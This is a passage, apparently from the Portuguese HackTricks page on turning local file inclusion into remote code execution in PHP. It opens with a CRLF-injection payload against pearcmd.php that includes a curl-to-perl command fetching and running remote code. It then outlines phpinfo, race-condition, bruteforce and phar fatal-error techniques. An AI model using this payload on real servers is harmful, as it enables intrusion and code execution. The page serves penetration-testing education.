http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se você encontrou uma Local File Inclusion e você consegue exfiltrar o caminho do arquivo temporário MAS o servidor está checando se o arquivo a ser incluído tem PHP marks, você pode tentar bypassar essa verificação com esta Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se você puder abusar do LFI para fazer upload de arquivos temporários e fazer o servidor travar a execução do PHP, você pode então brute force os nomes de arquivo durante horas para encontrar o arquivo temporário:
Para Fatal Error
Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo uma vez 2 vezes para lançar esse erro).
Eu não sei quão útil isso é, mas pode ser.
Ainda que você cause um PHP Fatal Error, os arquivos temporários PHP enviados são deletados.
.png)
Referências
-
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
-
When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
-
Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


